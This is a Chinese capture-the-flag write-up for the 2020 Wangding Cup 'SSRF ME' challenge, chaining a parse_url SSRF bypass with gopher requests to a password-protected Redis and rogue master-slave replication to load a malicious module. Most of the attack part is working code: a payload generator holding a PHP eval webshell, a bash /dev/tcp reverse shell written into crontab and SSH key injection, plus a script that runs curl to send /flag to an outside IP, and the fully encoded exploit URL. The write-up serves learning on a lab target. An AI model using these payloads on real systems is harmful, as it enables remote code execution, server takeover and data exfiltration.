2020网鼎杯 玄武组 SSRF ME wp

目录

前言

最近在学习关于redis的一些漏洞发现网上很多复现文章中的poc都是利用的未授权访问,但是实际上现在redis未授权访问不会像以前那么多,但是估计弱口令不少,所以就想着研究一下。问了glotzz师傅最近正好有一个ssrf + redis 的ctf题目,正好学习一下

正文

复现网站:https://buuoj.cn/

开局一个代码片段,让我们来代码审计进行绕过

image-20200603132840330

代码就不附了,简单的看了一下(毕竟是一个不会审计的憨批)我们可以发现代码对内网地址进行了一个限制,不允许对内网地址进行请求。

这里通过parse_url这个点来进行绕过

参考文章:https://paper.seebug.org/561/#parse_urllibcurlurlssrf

parser_url获取的是host中最后一个@后面的host

结合代码最后的// Please visit hint.php locally. 可以构造出如下结构绕过对内网地址的判断

?url=http://www.wjlshare.xyz@0.0.0.0/hint.php

@前面随便输入即可只要确保@后的是0.0.0.0就行

成功获取到了hint文件

<?php
if($_SERVER['REMOTE_ADDR']==="127.0.0.1"){
  highlight_file(__FILE__);
}
if(isset($_POST['file'])){
  file_put_contents($_POST['file'],"<?php echo 'redispass is root';exit();".$_POST['file']);
}

从代码中可以看出这里的hint是redis的密码,密码为root

这里的题意其实已经比较明确了,给出了redis的密码,那么很有可能就是让我们对redis进行getshell然后获取服务器上的flag

参考文章:https://www.bycsec.top/

redis常见的getshell有这么几种:

  1. 直接写webshell ,将shell写在web目录下
  2. 写ssh公钥
  3. 写crontab反弹shell,利用定时任务进行反弹shell
  4. 主从复制进行getshell

这里第一个肯定是行不通的,第一种getshell的方式都是通过将shell写入web目录下,这里我们都不知道目标的web目录是什么,剩下的更加不行了,没有ssh和crontab服务,所以比较可行的方案就是主从复制了。

redis主从复制getshell主要是利用了redis主从关系(由于redis数据处理都是在内存中进行的,redis在处理庞大数据的时候为了减少服务器压力,采用了主从服务器的方式来进行缓解,主机负责写,从机负责读)

以下文本来自:http://yulige.top/?p=775#i-13

然后因为redis采用的resp协议的验证非常简洁,所以可以采用python模拟一个redis服务的交互,并且将备份的rdb数据库备份文件内容替换为恶意的so文件,然后就会自动在节点redis中生成exp.so,再用module load命令加载so文件即可完成rce,这就是前段时间非常火的基于主从复制的redisrce的原理

在将我们的外部拓展换成恶意的exp拓展之后,通过ssrf发过去恶意命令诱使目标redis来导入我们python模拟出来的redis服务器上的恶意exp.so,从而达到可以执行命令的过程

所以接下来思路就比较清晰了

1.需要用python模拟出redis服务

2.需要恶意的exp.so

3.需要相对应的脚本来讲我们执行的代码进行转化成RESP

这里需要用到两个工具

https://github.com/xmsec/redis-ssrf (模拟redis服务,转化脚本)
https://github.com/n0b0dyCN/redis-rogue-server (提供恶意exp)

ps:buu靶机是不通外网的,所以如果我们在公网服务器上建立我们的redis服务器是不行的,我们需要在buu新注册一个账号开启linux靶机或者使用frp内网穿透

我这里是新注册了一个账号,开了一个linux靶机

image-20200603135042777

然后利用sftp将我们的文件发送到linux靶机上

sftp -P 28458 root@node3.buuoj.cn

密码123456

put -r 要上传的文件夹 (服务器上的位置)

一切准备工作做好之后,我们要开始整活了!

首先理清思路:我们首先在linux靶机中运行起redis 从服务器,然后构造payload 去加载从服务器上的恶意拓展exp.so,在成功引入了恶意exp.so之后执行代码获取flag

第一步 在linux服务器上建立起redis从服务器:

注意:python2 版本

python rogue-server.py

第二步构造payload:
目的是让目标redis服务导入我们的恶意 exp.so 的外部拓展

payload也在https://github.com/xmsec/redis-ssrf中,我们只需要进行简单修改就行了

修改payload的 lhost lport

image-20200603140041729

修改密码,对原来的结果再进行一次url编码

image-20200603140105078

#!/usr/local/bin python
# coding=utf8

try:
    from urllib import quote
except:
    from urllib.parse import quote


def generate_shell(filename, path, passwd, payload):
    cmd = ["flushall",
           "set 1 {}".format(payload),
           "config set dir {}".format(path),
           "config set dbfilename {}".format(filename),
           "save"
           ]
    if passwd:
        cmd.insert(0, "AUTH {}".format(passwd))
    return cmd


def generate_reverse(filename, path, passwd, payload):  # centos

    cmd = ["flushall",
           "set 1 {}".format(payload),
           "config set dir {}".format(path),
           "config set dbfilename {}".format(filename),
           "save"
           ]
    if passwd:
        cmd.insert(0, "AUTH {}".format(passwd))
    return cmd


def generate_sshkey(filename, path, passwd, payload):
    cmd = ["flushall",
           "set 1 {}".format(payload),
           "config set dir {}".format(path),
           "config set dbfilename {}".format(filename),
           "save"
           ]
    if passwd:
        cmd.insert(0, "AUTH {}".format(passwd))
    return cmd


def generate_rce(lhost, lport, passwd, command="cat /etc/passwd"):
    exp_filename = "exp.so"
    cmd = [
        "SLAVEOF {} {}".format(lhost, lport),
        "CONFIG SET dir /tmp/",
        "config set dbfilename {}".format(exp_filename),
        "MODULE LOAD /tmp/{}".format(exp_filename),
        "system.exec {}".format(command.replace(" ", "${IFS}")),
        # "SLAVEOF NO ONE",
        # "CONFIG SET dbfilename dump.rdb",
        # "system.exec rm${IFS}/tmp/{}".format(exp_filename),
        # "MODULE UNLOAD system",
        "POST"
    ]
    if passwd:
        cmd.insert(0, "AUTH {}".format(passwd))
    return cmd


def rce_cleanup():
    exp_filename = "exp.so"
    cmd = [
        "SLAVEOF NO ONE",
        "CONFIG SET dbfilename dump.rdb",
        "system.exec rm${IFS}/tmp/{}".format(exp_filename),
        "MODULE UNLOAD system",
        "POST"
    ]
    if passwd:
        cmd.insert(0, "AUTH {}".format(passwd))
    return cmd


def redis_format(arr):
    CRLF = "\r\n"
    redis_arr = arr.split(" ")
    cmd = ""
    cmd += "*" + str(len(redis_arr))
    for x in redis_arr:
        cmd += CRLF + "$" + str(len((x))) + CRLF + x
    cmd += CRLF
    return cmd


def generate_payload(ip, port, passwd, mode):
    payload = "test"

    if mode == 0:
        filename = "shell.php"
        path = "/var/www/html"
        shell = "\n\n<?php eval($_GET[\"cmd\"]);?>\n\n"

        cmd = generate_shell(filename, path, passwd, shell)

    elif mode == 1:
        filename = "root"
        path = "/var/spool/cron/"
        shell = "\n\n*/1 * * * * bash -i >& /dev/tcp/192.168.1.1/2333 0>&1\n\n"

        cmd = generate_reverse(filename, path, passwd, shell)

    elif mode == 2:
        filename = "authorized_keys"
        path = "/root/.ssh/"
        pubkey = "\n\nssh-rsa "

        cmd = generate_sshkey(filename, path, passwd, pubkey)

    elif mode == 3:
        lhost = "174.1.171.99"
        lport = "6666"
        command = "whoami"

        cmd = generate_rce(lhost, lport, passwd, command)

    elif mode == 31:
        cmd = rce_cleanup()

    protocol = "gopher://"
    payload = protocol + ip + ":" + port + "/_"

    for x in cmd:
        payload += quote(redis_format(x))
    return payload


if __name__ == "__main__":
    # 0 for webshell ; 1 for re shell ; 2 for ssh key ; 3 for redis rce ; 31 for rce clean up
    # suggest cleaning up when mode 3 used
    mode = 3

    # need auth or not
    passwd = "root"

    ip = "0.0.0.0"
    port = "6379"

    p = generate_payload(ip, port, passwd, mode)
    # p = p.replace("gopher://127.0.0.1:6379","gopher://www.bycsec.top@0.0.0.0:6379/")
    # print(p)
    print(quote(p))

python3 运行生成payload

image-20200603140236661

在url中引入:

image-20200603140401092

等待一会我们linux上就会显示结果,exp.so被成功引入

image-20200603140435558

第三步 恶意exp已经被引入接下来我们执行代码:

利用如下代码:

import urllib
protocol="gopher://"
ip="0.0.0.0"
port="6379"
passwd="root"
cmd=[
    "MODULE LOAD /tmp/{}".format("exp.so"),
    "system.exec {}".format("curl -F 'flag=@/flag' 174.1.171.99:1234".replace(" ","${IFS}"))
]
if passwd:
    cmd.insert(0,"AUTH {}".format(passwd))
payload=protocol+ip+":"+port+"/_"
def redis_format(arr):
    CRLF="\r\n"
    redis_arr = arr.split(" ")
    cmd=""
    cmd+="*"+str(len(redis_arr))
    for x in redis_arr:
        cmd+=CRLF+"$"+str(len((x.replace("${IFS}"," "))))+CRLF+x.replace("${IFS}"," ")
    cmd+=CRLF
    return cmd

if __name__=="__main__":
    for x in cmd:
        payload += urllib.quote(redis_format(x))
    print urllib.quote(payload)

image-20200603140700458

http://6330b9dd-1f4b-49ae-b765-541bd058372b.node3.buuoj.cn/?url=gopher%3A//0.0.0.0%3A6379/_%252A2%250D%250A%25244%250D%250AAUTH%250D%250A%25244%250D%250Aroot%250D%250A%252A3%250D%250A%25246%250D%250AMODULE%250D%250A%25244%250D%250ALOAD%250D%250A%252411%250D%250A/tmp/exp.so%250D%250A%252A2%250D%250A%252411%250D%250Asystem.exec%250D%250A%252439%250D%250Acurl%2520-F%2520%2527flag%253D%2540/flag%2527%2520174.1.171.99%253A1234%250D%250A

将payload加到 ?url=后面

在linux服务器上监听1234端口 nc -lvvp 1234

收到flag

image-20200603140753213

One Reply to “2020网鼎杯 玄武组 SSRF ME wp”

发表评论

电子邮件地址不会被公开。 必填项已用*标注